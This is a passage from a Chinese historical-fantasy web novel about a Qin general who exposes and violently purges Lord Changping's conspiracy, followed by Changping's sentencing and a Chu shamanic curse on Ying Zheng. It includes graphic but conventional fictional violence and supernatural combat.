左边的锐士嫌他聒噪,一拳砸在他的嘴上。
这一拳又快又狠,尹常只觉嘴里一阵腥甜,几颗带血的牙齿混着唾液喷了出来,脸颊瞬间肿起老高。
“瞎了你的狗眼!”
那锐士啐了一口,声音像磨过的砂石,“血衣军的旗号认不出也就罢了,赵将军的威仪你也敢挑衅?
让将军退避三里等你三刻?
你算个什么东西?
有几条命够你如此嚣张?”
尹常被打得头晕目眩,嘴里火辣辣地疼,连话都说不出来。
他被两人像拖死狗一样往外拖,路过院子时,看见亲兵们都缩在墙角,低着头不敢看他。
冲出府衙大门,又看见街上的百姓远远地围观,眼神里满是惊惧。
最让他心胆俱裂的是,司马门前的营地外,他那两万驻军正列队站着,一个个低着头,甲胄上的铜钉在日光下泛着冷光,却没有一人敢抬头看他,更别说出言求情。
“咚!”
他被狠狠摔在地上,正对着赵诚的马前。
乌骓马打了个响鼻,喷出的热气溅在他脸上,带着马汗的腥气。
赵诚坐在马上,居高临下地看着他,手里正翻看着几本粮册。
那是灵鸢让人搬来的,最上面一本的封面上,赫然盖着个伪造的“少上造”印鉴,印泥还是新鲜的朱砂色。
“将军,您看。”一名亲卫指着印鉴,语气里满是嘲讽,“他们连您的爵印都敢仿,这手艺倒是比街边刻章的强些。”
赵诚的指尖捻着册页,缓缓翻动。
上面的字迹工整,记录详实。
哪日分了哪户的田宅给血衣军的张三,哪日扣了哪城的粮草赏给血衣军的李四,甚至连“受赏人画押”“见证人签名”都一应俱全,乍一看竟像是真的。
他随意翻看完,将粮册扔回给亲卫,嘴角勾起一抹冷笑。
“还真是费心了。”
内容详实,规制完整。
若是只看这些东西,而不去细究过程,只怕不管谁来都
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会信以为真。
尹常趴在地上,看着那本粮册落在自己眼前,封面上的伪造印鉴像一张嘲讽的脸。
他想起登城时的春风得意,想起以为赵诚会“狼狈求存”的预想,再看看自己此刻的模样。
满嘴是血,被人像牲口一样拖在地上,而他的部下、他的依仗,都在一旁沉默地看着。
不过一盏茶的功夫,人生的境遇竟能有如此天翻地覆的落差。
尹常死死闭着眼,眼皮却止不住地颤抖。
后颈的冷汗顺着衣领往下淌,在背上积成一片冰凉的湿痕,比城头上的风还要刺骨。
他能清晰地听见自己牙齿打颤的“咯咯”声,能感觉到心脏在胸腔里疯狂擂动,撞得肋骨生疼。
他知道,所有的挣扎已是徒劳,一切都已尘埃落定。
“你们费尽心机伪造这些东西,不就是想递到陛下跟前吗?”
赵诚的声音在头顶响起,平淡得像在说今日的天气,却带着不容置疑的威严,“既然如此,某便成人之美,亲自替你们送过去。”
他抬手挥了挥,暗红披风扫过马腹,带起一阵裹挟着煞气的风。
立刻有两名血衣军上前,动作利落地将那堆伪造的粮册、密信收拢起来,用麻绳捆成一摞,扛在肩上。
“私自篡改粮册,勾结昌平君克扣陛下粮草,涉案的大小将校……”
赵诚的目光缓缓扫过周围列队的士兵,像是在清点货物,“除了这主谋,其余的,都杀了吧。”
最后一个“吧”字轻飘飘落地,却像一道惊雷炸在人群中。
“什么?!”
“将军饶命!”
惊呼声刚起,便被更刺耳的利刃破肉声淹没。
“嗤——嗤——嗤——”
数不清的短刀从阴影里闪出,快得只剩一道寒光。
那些混在士兵队列中的楚系将校,有的刚要拔刀反抗,有的还在惊愕四顾,脖颈便已被精准划开。
鲜血喷涌而出,溅在旁边士兵的甲胄上、靴面上,甚至溅到了离得近的人脸上,滚烫而粘稠。
人头接二连三地滚落在地,发髻散开,眼睛瞪得圆睁,仿佛还停留在临死前的惊恐。
第190章 血轨载囚呈罪证,宸极观刃鉴霸心
周围的士兵彻底懵了。
他们眼睁睁看着身边的同袍、平日里发号施令的将官,转眼间便身首异处,惊恐的瞪大双眼,心头阵阵发寒。
什么时候!?
血衣军的人竟已摸到了队列里?
他们是怎么混进来的?
又是怎么精准锁定目标的?
嗤嗤嗤的声音不绝于耳。
四处都有人头落地。
有个年轻士兵吓得腿一软,瘫坐在血泊里,手背上沾着滚烫的血,他想尖叫,却发现喉咙像是被堵住,只能发出嗬嗬的抽气声。
众多将士胆战心惊,惊恐的看着这一幕。
素闻血屠阎罗之名,今日得见,终知胆寒。
只是翻手之间,已经斩落无数涉案将领。
无一人错杀!
尹常趴在地上,透过指缝看着这地狱般的景象,心中泛起惊涛骇浪。
他终于明白,这“血屠阎罗”四字的重量,以及背后的尸山血海。
“守城副将何在?”赵诚的声音再次响起,打断了这片死寂。
人群里猛地窜出一个面色惨白的将领,“噗通”跪倒在地,甲胄上的铜钉磕在地上,发出脆响:“末、末将在!”
“一刻钟内,调齐五千石粮草,五百匹战马,随本将赶往望岳驿。”
赵诚的目光落在他身上,带着冰冷的威压,“若是误了时辰,你这颗脑袋,便替尹常挂在城楼上。”
“末、末将领命!”
副将连滚带爬地起身,声音抖得不成样子,转身就往粮仓跑。
此刻别说是一刻钟,便是半刻的任务,他也得拼了命去完成,方才那片血光,早已吓破了他的胆。
城门口的血腥味越来越浓,腥风铺面,呛得人睁不开眼。
血衣军的锐士们有条不紊地清理着尸身,用草席裹起头颅,像拖柴禾似的往车上扔。
剩下的士兵们噤若寒蝉,连呼吸都放轻了,生怕自己哪个动作不对,成了下一个刀下鬼。
不过一刻钟,粮草果然备齐了。
数百辆粮车排成长龙,战马嘶鸣着被牵到队前,守城副将亲自押车,额头上的汗顺着脸颊往下淌,却不敢擦。
赵诚勒转马头,乌骓马的蹄子踏在血泊里,溅起细碎的血珠。
他手里把玩着一卷竹简,那是从尹常府衙搜出的密信。
上面记着各城楚系将领的名字、联络暗号,甚至还有他们私藏的粮草藏匿点,密密麻麻,比军册还要详尽。
“出发。”
随着他一声令下,血衣军的队伍再次启程。
粮车的轱辘碾过地上的血迹,发出“咯吱咯吱”的声响,像是在为沿途的亡魂送葬。
接下来的路程,成了真正的“血路”。
赵诚沿途经过各城,从不废话,只让亲卫展开密信点名。
“阳邑城守,李栾自。”
话音刚落,城门口便有血衣军的暗线动手,将正准备关闭城门的李栾自斩于马下,头颅被挑在枪尖上示众。
“柏人城尉,张洪山。”
城楼上的张乙刚想射箭反抗,便被暗处飞来的短刀穿透咽喉,尸体从城头直挺挺摔落。
每到一城,必有头颅落地。
每点一名将领,必无差错。
那些藏在城中的楚系余党,有的想化妆成平民逃跑,有的想率兵反抗,有的甚至想点燃粮仓同归于尽,却都被早已潜伏在城中的血衣楼刺客提前识破,一一斩杀。
密信上的名字被一个个划去,染红的竹简越来越沉,沿途的城池却越来越安静。
楚系余党的家小躲在门后,透过门缝看着那支黑甲红披的队伍踏着血路前行,连哭嚎都不敢出声。
这一路,粮草越聚越多,血债也越积越厚。
粮车的轮子沾着血污,在官道上留下两道暗红的辙痕。
血衣军的甲胄上凝结着黑褐色的血痂,却依旧步伐整齐,杀气凛然。
当望岳驿的轮廓出现在地平线上时,夕阳正将天空染成一片猩红。
赵诚勒住马,看着前方驿站的炊烟,身后的粮车绵延数里,车轮碾过的血路在暮色中泛着诡异的光泽。
一天一夜,他已经带着粮草,踏着尸山血海,抵达了此行的终点。
望岳驿。
……
“陛下,赵诚将军已至望岳驿外。”
顿弱轻步走到嬴政案前,躬身禀报。
嬴政的指尖正沿着邯郸至望岳驿的沿途城池划动,指腹碾过图上的朱砂标记,目光沉静得像深潭。
听到顿弱的禀报,嬴政的指尖在图上顿住。
“嗯。”
望岳驿的窗棂透进暮色,将嬴政的侧脸勾勒出冷硬的轮廓,唇角却不易察觉地向上弯了弯:“倒还算快。”
这一日夜的时间,他等候在望岳驿,一来让缺少粮草的队伍休息,二来也想看看赵诚的做法和效率。
如今见其不过一日夜的功夫,就已经带着粮草抵达望岳驿。
心中甚是欣慰满意。
这孩子果然不错。
他从小就咽不下气,一人对付几个孩童,追打到家里,被其父呵斥,都能够半夜提刀潜入,将其父逼跪。
殿前被昌平君质疑,更是
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斩其门客八百,而后戟指相国,发出诛心之言,把那堂堂昌平君架在火上烤。
连破两国,势如破竹,每到一地,见城即破城,更见其心性霸烈。
可这般霸烈性子,这次明知被昌平君栽赃,却没先去邯郸清算旧账,而是第一时间带着粮草赶来望岳驿。
嬴政指尖在案上轻轻敲击,心里掠过一丝暖意。
看来,在这孩子心里,寡人终究比那些私怨重得多。
正思忖着,外面忽然传来一阵喧哗。
起初是零星的惊呼,很快便汇成嘈杂的声浪,连驿馆的窗纸都似在微微震颤。
嬴政的眉头瞬间蹙起,脸色沉了几分:“胡闹。”
他放下手中的玉圭,声音里带了几分不悦:“随驾的都是郎中令亲选的锐士,历经战阵的人,怎会因粮草到了便喧哗至此?
这般沉不住气,郎中令是如何练军的?”
顿弱站在一旁,喉结轻轻滚动了一下,似乎在斟酌措辞。
他袖口的褶皱被手指捏得更紧,过了片刻才低声道:“陛下,外面的喧哗……并非因粮草。”
“哦?”嬴政抬眼看向他,眸中闪过一丝疑惑,“那是为何?”
顿弱深吸一口气,尽量让语气平稳些:“赵将军……押了些人来。”
“押了人?”
“是。”
顿弱垂着眼,声音压得更低,“昌平君,还有那些在邯郸参与克扣粮草的楚系官员……都被他用荆条抽得不成样子,浑身是血,像个血葫芦似的,用铁槊挑着,跟在粮队后面。”
嬴政的指尖停在城防图上,目光微微闪动一丝愕然。
顿弱顿了顿,继续说道:“不止这些。
沿途经过的阳邑、柏人、襄国诸城,但凡牵涉篡改粮册、勾结昌平君的守将,除了主谋之外,不论官职高低,都被血衣军斩了。
据说……一路斩了两百多个脑袋,有的挂在城头上,有的用草绳串着,也随粮车拉来了。”
他抬眼瞥了嬴政一眼,见对方神色未变,才补充道:“外面的军士……是看到那些血人和首级,才惊得乱了阵脚。”
驿馆内忽然静了下来,只有烛火偶尔爆出的火星声。
嬴政望着窗纸上晃动的树影,指尖无意识地摩挲着案上的玉印。
他早料到赵诚不会咽下这口气,却没料到会是这般雷霆手段,会是这等效率。
一日夜调粮齐全之外,连带着沿途涉案者一起清算,还将人证物证整整齐齐地送到他面前。
这孩子的霸烈,果然如旧,半点没改。
第191章 伪册堆阶映血影,王念旧勋照残魂
“陛下,臣调粮来迟。“
赵诚翻身下马,玄色战靴踏在望岳驿前的青石板上,发出沉闷的声响。他身上那件暗红大氅随着动作席卷飘落,拂过大铠之上凝结的暗红血色。
那些血痂早已发黑,却仍能看出溅落时的狰狞轨迹。
他肃拜行礼,声音沉稳如磐石,听不出半分慌乱。
嬴政坐在驿馆前的廊下,指尖捻着一枚玉环摩挲,目光落在赵诚身上。
不过月余未见,这小子竟似又长了些,肩背愈发宽阔,玄甲包裹的身躯如蕴着雷霆的山岳。
往那一站,周遭的天光仿佛都被吸了去,连廊下的日光都黯淡了几分。
他身上的煞气比破邯郸时更重,那是尸山血海里浸出来的沉郁,单是静静站在那里,都让人觉得喘不过气。
仿佛眼前不是一人,而是整支踏碎韩赵的血衣军。
嬴政看了他许久,才缓缓抬手指向驿馆外的囚车。
那里,昌平君被粗麻绳捆在木架上,曾经光鲜的锦袍早已被血浸透,与皮肉粘连在一起。
背上的鞭痕纵横交错,有些地方深可见骨。
他身后的一排力士的大槊之上,还挑着十几个楚系官员,个个被打得像血葫芦,有的垂着头不知死活,有的还在微弱地呻吟。
更触目的是囚车旁的木杆上,串着一串串发黑的首级,风吹过时,发丝飘动,看得人头皮发麻。
“这些,是怎么回事?”
嬴政的声音不高,却带着帝王特有的威压,目光扫过那些血人和首级,最终落回赵诚身上。
赵诚缓缓直起身,玄甲上的金鳞在日光下闪着冷光。
他侧身指向昌平君,声音里听不出喜怒:“臣听闻竟然有血衣军克扣出巡队伍的粮草,于是立刻彻查,结果查出,是昌平君联合部下,伪造粮册、私扣物资,意图栽赃血衣军。”
他顿了顿,目光转向那些血人:“更甚者,他们还联络了江湖刺客,想趁陛下出巡至邯郸外时袭扰王驾,嫁祸臣护卫不力。
幸得被臣提前察觉,将其一网打尽,人证物证俱在。”
“此事由传讯的黑冰台秘士亲自审讯,证据确凿。”
说着,他抬手示意。两名身着黑衣的黑冰台秘士立刻从队列中走出,手里捧着一卷竹简,躬身递到嬴政面前。
“陛下,”左侧的秘士沉声道,“此乃审讯郁逊的供词,从其口中得知昌平君等人的全盘计划,臣等可作证词属实。”
嬴政接过竹简,缓缓翻开泛黄的竹片。
上面的字迹潦草却清晰,详细记录着昌平君如何策划克扣粮草、伪造证据、联络刺客,甚至连他们在邯郸府邸中的密谋细节都一一记下。
看到“袭扰王驾”四字时,嬴政的指节猛地收紧,竹简被捏得微微发颤,眸中的寒光几乎要溢出来。
好大的胆子!
赵诚适时补充道:“除了这些,他们还伪造了臣的爵印,篡改各城粮册,将赵旧地的田宅粮草都‘分赏’给血衣军将校,想坐实臣结党营私之罪。”
话音刚落,两名血衣军便抬着一个沉重的木箱上前,打开箱盖。
里面堆满了成册的竹简,最上面几本的封面上,赫然盖着伪造的“少上造”印鉴,朱砂色泽鲜亮,印文模仿得惟妙惟肖。
旁边还放着几枚铜印,形制与赵诚的爵印差的很远,边缘的磨损痕迹十分刻意,但内里纹路种种,印出来却与真实一般无二。
毕竟赵诚的爵印,都曾是昌平君亲自拟的。
伪作的这般真实,才是正常。
“这些是从尹常等人家中搜出的伪册,还有几个主谋,也一并带来了。”
赵诚又指了指被按在地上的几个将领,他们个个面如死灰,身上还带着未干的血迹。
嬴政放下供词,拿起一本伪册翻看。
册页上记录详实,哪日分了哪户的良田,哪日赏了哪城的粮草,受赏的血衣军将校姓名、军职都写得清清楚楚,甚至还有“领赏人”的画押。
若非他深知赵诚的性子,又见过真正的封赏名册,怕是
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真要被这以假乱真的伎俩蒙骗。
越看,嬴政的脸色便越沉。
他将伪册扔回木箱,发出“啪”的声响,目光落在囚车中那个半死不活的身影上。
昌平君,曾是他倚重的宗亲,做了多年相国,处理过无数朝堂要务,怎会糊涂到行此大逆不道之事?
“昌平君,”
嬴政的声音冷得像冰,“你好歹做了多年相国,辅佐寡人亲政,也算有功。
可你看看你如今的作为。
克扣寡人粮草,私造爵印伪作军册,甚至勾结刺客袭扰王驾……桩桩件件,皆是死罪!”
囚车里的昌平君像是被这声呵斥惊醒,他费力地抬起头,血污糊住的眼睛里闪过一丝求生的光芒。
他挣扎着想要扑过来,却被麻绳死死捆住,只能发出嗬嗬的呜咽:“陛下……臣知错了……臣是一时糊涂啊……”
他的声音嘶哑得像破锣,混着血沫子:“臣就算……就算没有功劳,也有苦劳啊!
臣是昌平君!
是嬴氏宗亲啊!
陛下看在同宗的份上,饶臣这一次……饶臣这一次吧!”
他拼命扭动着,背上的伤口被扯裂,血水流得更凶,却浑然不觉,只是死死盯着嬴政,眼神里充满了绝望的乞求。
廊下的风忽然大了起来,卷起地上的尘土,迷了人的眼。
嬴政看着那个曾经风度翩翩的宗亲,如今却像条丧家之犬般摇尾乞怜,沉默了许久,眸中的情绪复杂难辨。
他想起多年前,长安君成蟜叛乱,是昌平君带着兵力死守咸阳宫门,剑刃上的血映着宫灯,硬是撑到了他调兵回援。
想起嫪毐之乱时,也是昌平君坐镇相府,查封嫪毐党羽的府邸,将那些散乱的罪证一一整理成册,让他得以干净利落地清算叛乱。
那时的昌平君,穿着锦纹朝服,站在朝堂上侃侃而谈,眉眼间是世家贵胄的从容,也是辅佐君王的笃定。
他也曾是意气风发的肱骨之臣。
何时变成了如此模样?
第192章 三罪定谳车裂令,孤臣泣血咒宸旒
嬴政渐渐回过神来,目光落在身前。
可眼前的昌平君,哪里还有半分当年的模样?
头发被血黏成一绺绺,沾着草屑和泥污。
曾经握着玉圭的手,此刻被麻绳勒出深深的血痕,指甲缝里塞满了污垢。
那张总是带着温和笑意的脸,如今只剩扭曲的恐惧,连哭喊都漏着风。
像条被雨打湿的丧家犬,摇着尾巴求主人赏口饭吃。
嬴政沉默了许久,喉间像堵着块寒冰。
他知道,今日之事已没有转圜的余地。
黑冰台的供词、伪造的爵印、堆成山的伪册、被挑在槊上的同党……桩桩件件都摊在阳光下。
当着望岳驿数万将士的面,若是轻判,何以立威?何以服众?
“李斯。”
他终于开口,声音里听不出喜怒,却带着不容置疑的决断。
驿馆西侧的队列中,立刻走出一道青色身影。
李斯身着相国朝服,腰间系着银绶,步履沉稳地走到嬴政面前,躬身行礼:“臣在。”
他的目光飞快扫过囚车中的昌平君,眸中闪过一丝复杂,曾几何时,他还是昌平君手底下的廷尉。
可世事弄人,他眼看昌平君这座高楼一步步走向倒塌。
如今竟是他来定夺对方的罪责。
只有心中暗叹。
何必呢?
那血屠是你们能招惹的吗?
嬴政抬了抬下巴,示意他看向昌平君:“昌平君及其党羽,依秦律,该当何罪?”
李斯直起身,理了理衣袖上的褶皱,声音清晰而沉稳,像在宣读一份寻常的文书。
却字字如刀:
“秦以军功立国,而粮草乃三军命脉。
自商君变法以来,‘盗军粮者死’便是铁律。
昌平君身为邯郸郡守,竟克扣陛下出巡的粮草,故意拖慢王驾行程。
此乃在军士命脉上动手脚,动摇大秦军心根基,是为第一重罪。”
他顿了顿,目光转向那箱伪造的军册:
“秦之军功爵制,是激励将士用命的根本。
昌平君私造爵印印鉴,伪作封赏名册,将赵旧地的田宅粮草‘分赏’给血衣军将校,意图构陷赵诚将军结党营私。
此举不仅是欺君罔上,更是公然破坏大秦法度,妄图动摇‘有功者赏’的根基,是为第二重罪。”
周围的将士们听得屏息凝神。
有几个久经战事的老兵,想起当年为了一个“公士”爵位在战场上拼命的日子,看向囚车的眼神多了几分怒意。
“原是他们在做手脚,嫁祸赵将军!”
“我就说血衣军不可能会克扣我们的粮草,都是军中同袍,赵将军最是仁义,也最为爱护麾下儿郎!”
“是啊,传闻赵将军在前线作战,从不独吃军功,怎会做出这等事呢!”
“真是一群宵小!敢构陷忠良!”
“这下好了,被赵将军抓了正着!该杀!”
群情激愤中。
李斯的声音陡然转厉,带着斩钉截铁的决绝:
“最不可赦者,乃勾结刺客,意图袭扰王驾。
陛下乃大秦之主,身系天下安危,昌平君身为宗室重臣,竟雇凶谋害,此乃大逆不道!
自先祖孝公以来,谋逆者从未有过活口,是为第三重罪!”
“三罪叠加!”
他看向嬴政,语气没有半分犹豫,“纵有昔日之功,亦难抵今日之过。
更何况,观其谋划之缜密、用心之歹毒,恐昔日之功,亦多有伪饰,不过是‘伪忠’罢了。”
“依秦律,昌平君当处以车裂之刑,于邯郸城行刑示众,以儆效尤,彰显‘谋逆者必死’的铁则。”
“其族属,男丁年十五以上者皆斩,十五以下及女眷流放蜀地,永世不得还归,彻底消除隐患。”
“至于其党羽部属,自邯郸郡守府至沿途各城涉案者,一律按‘同谋’论处,抄没家产,家属连坐。”
最后,他补充道:“需追溯其过往所立‘功绩’,由廷尉府重新核验。
凡涉伪饰者,一律抹去记载,以‘伪忠’定性,彻底否定其根基。
如此,方能让天下人知,有功则赏,有罪则罚,纵是宗亲,亦不能例外。”
话音落下,驿馆前一片死寂。
连风都似停了,只有昌平君突然爆发出的凄厉哭喊:
“不可!李斯你怎能如此!
我是有功的!
我
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是有功的啊!
我曾为大王血战,曾为大王流过血,拼过命的啊!!”
他拼命挣扎,身上的血痂裂开,血水顺着囚车的木缝往下淌,却怎么也挣不脱那道冰冷的麻绳。
李斯这罪定下,不止是要斩去他的性命,还要斩去他以往的一切功绩和痕迹。
让其在秦国存在过的痕迹,彻底消失,就像是从来没有存在过一般。
不论是前人后人,都不知他昌平君曾经存在过,曾经做过什么。
他曾经的一切努力,血战,奋勇,全都被否定成了伪忠。
这比杀了他还要难受千万倍!
何至于此,何至于此啊!
“陛下!!陛下!臣有罪臣能认,可臣是不是伪忠,陛下您不知道吗?”
“陛下……”
嬴政望着他,眸中的复杂渐渐褪去,只剩下一片深不见底的平静。
他轻轻颔首,对李斯道:“便依你所言。”
这几个字,像最终的宣判,彻底击碎了昌平君眼中最后一丝希冀。
他的哭喊戛然而止,身体一软,瘫在囚车里,只剩下喉咙里嗬嗬的抽气声,像头濒死的野兽。
廊下的玉珠再次碰撞,发出清脆的声响,仿佛在为这位曾经的相国,奏响最后的挽歌。
满盘皆输……
而其后的那一排血人,眸子中也彻底失去了所有的光芒。
他们本就清楚,这孤注一掷风险极大。
在被赵诚抓住那一刻,就已经输了。
可却没有想到,会输的如此彻底,不但输掉了亲属,输掉了未来,也输掉了过往所有功绩。
再看挺立在最前的那道如山岳般的身影。
如果有的选,他们从一开始,就不应该踏上昌平君这条贼船。
不然,何以落得如此下场?
昌平君就像是**一样全身向下垂落,如同下坠到深渊之中。
至极黑暗处,他突然不甘与此。
事到如今,何如鱼死网破?
弄不死血屠,还弄不死嬴政吗?
楚系巫术,他也是懂一些的。
他捆缚在后方的手,撕开了背部的血咖,他的食指沾染了鲜血,在背后艰难划出一个古怪血印……
第193章 血咒噬心疯旧臣,祝风煽乱起南巫
廊下的玉珠还在轻轻碰撞,清脆的声响里,却透着一股说不尽的悲凉。
囚车上的昌平君像一截被榨干了水分的枯木,全身软软地垂落,铁链勒进他血肉模糊的皮肉里,留下更深的血痕。
可就在这极致的绝望里,他垂着的头颅忽然微微一动。
这些时日的憋屈像毒藤般在心底蔓延。
从被赵诚当众鞭打时的**,到密谋败露时的恐慌,再到此刻被定死罪的绝望,最后都化作了对嬴政的怨毒。
他想起自己辅佐嬴政亲政时的鞠躬尽瘁,想起楚系为大秦付出的心血,可到头来,一句“罪大难赦”便抹去了所有。
凭什么?
他猛地咬紧牙关,藏在背后的手暗暗发力。
被麻绳捆着的指尖狠狠抠进脊背的血痂里,硬生生撕下一块带血的皮肉,鲜血瞬间涌了出来,染红了他的掌心。
他借着囚车木栏的遮挡,用染血的食指在背后艰难地划动,指尖划过之处,血珠竟诡异地凝聚起来,渐渐形成一个扭曲的咒印。
那是楚系巫术里最阴毒的诅咒,需以施术者以血为祭,以魂为引,方能催动。
“以吾血为引,召太阴之灵……”
他的嘴唇开始翕动,声音嘶哑得像破锣,却带着一种诡异的韵律,“缚尔魂魄,系尔命灯……令棘刺穿骨,毒蛊噬心……”
赵诚耳力惊人,站在不远处听得一清二楚。
他眉头微挑,这祝词里的阴狠,不输战场上的杀伐声。
昌平君的声音越来越急,带着血沫的唾沫星子从嘴角飞溅:
“昼则见魑魅围绕,夜则闻怨鬼号哭……三步一踬,五步一惊……直至肌肤腐烂如泥,魂魄堕入幽都,永受土伯鞭笞!”
“嬴政!”
他猛地抬头,血污糊住的眼睛里迸出疯狂的光,“今日之后,所有楚巫都将诅咒你!
你这寡恩负义之辈,你不得好死——!”
嬴政皱着眉,没听清那些叽里咕噜的咒词,只看到昌平君疯癫的模样,不耐烦地看向赵诚:“他在胡言乱语些什么?”
“陛下,”赵诚沉声回道,“他在念楚巫的诅咒祝词,咒你不得好死。”
嬴政的脸色瞬间黑如锅底,指着囚车,“抽他!”
他虽决意处死昌平君,却也得等到邯郸城,将罪名昭告天下,再行车裂之刑,才算合乎法度。
但这并不妨碍此刻先让这疯狗吃些苦头。
“得令。”赵诚应了一声,转身从亲卫手中接过一根荆条。
这荆条比上次鞭打时更粗,倒刺也更锋利,在日光下泛着青黑的光。
昌平君一看见那荆条,浑身猛地一颤,瞳孔骤缩。
这赵诚加荆条的组合,已经让他有心理阴影了。
上次在邯郸城外的剧痛仿佛还烙印在骨头上,光是看着,后背就已经开始火辣辣地疼。
他念咒的嘴哆嗦起来,祝词都磕巴了:“以……以吾魂为祭……”
可赵诚哪里会管他?
大步走到囚车旁,抡起荆条便抽了下去。
“啪!”
荆条带着倒刺狠狠抽在昌平君背上,本就翻卷的皮肉瞬间被撕开一道更深的口子,鲜血喷涌而出,溅在囚车的木栏上。
“嗷——!”
昌平君疼得惨叫出声,身体剧烈扭动。
但他死死咬着牙,硬是没停住咒词,反而念得更狠:“咒尔魂魄与孤魂为伴,躯体与朽木同腐……嗷!
白日见影皆为索命鬼,黑夜闻声尽是勾魂钟……嗷!”
荆条一下接一下落下,像雨点般密集。
昌平君的惨叫声越来越凄厉,身上的血顺着囚车往下淌,在地上积成一滩小小的血泊。
可他眼底的疯狂却越来越盛,每一声惨叫都化作诅咒的力量,从那血印里丝丝缕缕地溢出来,在空气中弥漫开一股阴冷的气息。
“十年内家破人亡,秦国基业坍塌!嗷!
百年后孤冢无祭,千年后掘坟挖骨!嗷——!
此咒入髓,天地不赦!”
赵诚一边鞭打,一边听得暗暗称奇。
这诅咒的内容,竟和他记忆里的某些片段隐隐重合。
始皇帝统一天下后,身体的确每况愈下,第五次出巡时病逝于沙丘。
而后扶苏被赐死,
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胡亥篡位,秦朝二世而亡,可不就是“家破人亡,基业坍塌”?
至于始皇陵,确是千年孤寂,无人敢轻易惊扰……
千年之后,也确实是被刨了……
难不成,这楚巫的诅咒真有这么邪门?
他心里狐疑,手上的力道却没减,荆条抽得更狠了。
而远在千里之外的陈郡,东皇太一祭坛前,南巫巫长屈景正凝视着身前的血玉。
那血玉本是温润的红,此刻却突然剧烈震颤起来,一道道血色纹路如活物般游走,最终凝聚成两个扭曲的大字:“嬴政!”
屈景脸色骤变,猛地拂去祭坛上的龟甲,以指尖蘸着祭坛中央的朱砂,快速在地上画出占卜卦象。
片刻后,他望着卦象中那道断裂的“君爻”,长长叹了口气。
“秦之巫,将绝矣……”
他喃喃自语,眼底闪过一丝决绝。
昌平君败了,败得彻底。
可他以魂血为祭,将诅咒的锚点死死钉在嬴政身上,这也算是给楚巫一个挣扎的机会。
“来人!”屈景扬声喊道,声音穿透祭坛周围的迷雾,“召陈郡所有楚巫!”
很快,数十名身着玄色巫袍的巫祝**而来。
他们中有白发苍苍的老者,曾是昌平君的门客。
有锦衣华服的中年人,乃是楚地旧贵族。
还有些面容诡异的隐世巫祝,脸上画着繁复的图腾。
他们都以东皇太一为信仰,曾在秦国权倾一时。
嬴政未亲政前,秦国的祭祀、灾异解读,甚至部分政务,都需经他们巫祝裁定。
可嬴政亲政后,一步步剥夺神权,将他们边缘化,这份怨恨早已深埋心底。
“昌平君以魂血为祭,诅咒嬴政。”
“昌平君若被清算,楚巫将在秦国再无立身之地,嬴政必会将秦之楚巫斩尽杀绝。”
屈景指着血玉上的“嬴政”二字,声音低沉而有力,“此乃楚巫乱秦之机。
助他一臂之力,或许能为我等争得一条新路!”
众巫祝对视一眼,眼中都燃起狂热的火焰。
“愿从巫长之令!”
第194章 裂戟开云惊巫力,墨霭吞光锁驿庭
众巫纷纷走到祭坛周围,按照北斗方位站定。
玄色巫袍在风中猎猎作响,脸上的图腾被祭坛的火光映得忽明忽暗。
“蕙肴蒸兮兰藉,奠桂酒兮椒浆……”
苍老的巫祝率先开口,歌声古老而诡异,带着楚地特有的婉转与悲凉。
“疏缓节兮安歌,陈竽瑟兮浩倡……”
中年巫祝们跟着唱和,竽瑟之声从祭坛深处传来,与歌声交织在一起,形成一股浩荡的音浪,直冲云霄。
他们以歌舞献祭,以咒语沟通东皇太一,将所有的怨毒与执念,都注入那道跨越千里的诅咒之中。
望岳驿的昌平君忽然停止了惨叫。
他感觉到一股熟悉的力量从远方涌来,顺着血脉汇入背后的血印。
那血印越来越烫,仿佛要烧穿他的皮肉。
他垂落的身躯竟缓缓挺直,尽管浑身是血,却透着一股诡异的力量。
他猛地抬头,望着天空狂笑起来,声音凄厉而猖狂,“嬴政!还有血屠!你完了!你们都完了!”
话音未落,原本晴空**的天空骤然变色。
只见西边的乌云像被巨手搅动,疯狂地向望岳驿上空**,不过片刻功夫,便遮天蔽日。
低低的乌云压在头顶,黑得像泼了墨,边缘处却泛着诡异的暗红,仿佛有一条巨龙蛰伏在云层里,正缓缓睁开眼睛。
风声突然变得尖利,卷着地上的尘土和血腥气,发出“呜呜”的声响,像是无数冤魂在哭泣。
驿馆前的将士们都被这突如其来的天象惊得变了脸色,下意识地握紧了兵器,望着那片压抑的乌云,心头莫名升起一股寒意。
嬴政抬头望着天空,眉头皱得更紧,眸中闪过一丝不易察觉的凝重。
这妖异的天象,难道真和昌平君的诅咒有关?
赵诚立于望岳驿前的空地上,抬眸望向苍穹,眸中因周天星斗纳真诀运转而泛起淡淡的金辉。
那遮蔽天日的乌云在他眼中并非寻常气象,而是一团翻滚不休的墨色雾气,雾气深处隐约可见无数细碎的灰影。
那是一种从冥冥中汇聚而来的厄运之力,正以囚车中的昌平君为核心,丝丝缕缕地缠绕、凝聚,散发出令人心悸的阴冷。
“这便是太一巫术?”
他指尖无意识地摩挲着擎天大戟的云纹戟杆,细望苍穹,“竟能聚众巫之力,引战场亡者怨毒为刃,引冥冥之力为咒,手笔不小。”
他能清晰地感知到,那厄运之力的源头不止昌平君一人。
从邯郸城的楚系旧部,到更遥远的陈郡方向。
不论故韩故赵,无数道微弱却执着的念力正跨越山川,汇入这片乌云,让那墨色愈发浓重,仿佛要将整个望岳驿都拖入幽渊。
“试试真元能否破之。”
心念微动,赵诚体内周天星斗纳真诀骤然提速。
三百六十五处大窍同时亮起,如夜空中的星辰般流转呼应,磅礴的真元顺着经脉奔涌,最终汇聚于双臂。
他猛地抡起大戟,铁戟划破空气的锐啸几乎盖过风声,一道凝练如实质的罡风自戟尖迸发,直冲苍穹!
“嗤啦——!”
罡风如天神挥剑,竟硬生生将那遮天蔽日的乌云劈出一道狭长的缝隙。
缝隙中,金灿灿的天光如瀑布般倾泻而下,落在望岳驿的青石板上,映得满地都泛起奇异的亮色。
光影斑驳,华绫万道。
被罡风扫过的区域,那些翻滚的灰影瞬间溃散,空气中的阴冷之气也淡了几分。
“嘶!”
周围的将士们倒吸冷气的声音此起彼伏。
有人手中的长戟“哐当”落地,瞪圆了眼睛望着那道天光。
有人下意识地揉了揉眼睛,仿佛不敢相信自己所见。
更有血衣军的锐士按捺不住,低声喝彩:“将军神威!”
“一戟裂云……这、这简直是神仙手段!”
一名郎官喃喃自语,手按在腰间的佩剑上,指节因激动而发白,“怪不得能八日破韩、三日下邯郸,这般武力,怕是真能一力抵天威!”
“有将军在,区区妖术何足惧哉!”
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队列中响起此起彼伏的附和声,方才因乌云压顶而生的压抑瞬间消散,取而代之的是难以言喻的振奋。
